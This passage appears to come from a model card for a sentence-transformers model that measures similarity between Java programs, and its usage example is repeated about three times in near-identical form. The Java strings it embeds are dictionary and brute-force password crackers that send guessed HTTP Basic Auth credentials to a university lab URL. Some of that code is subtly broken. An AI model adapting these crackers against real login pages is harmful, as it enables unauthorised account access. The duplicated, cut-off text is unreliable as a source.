(i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = 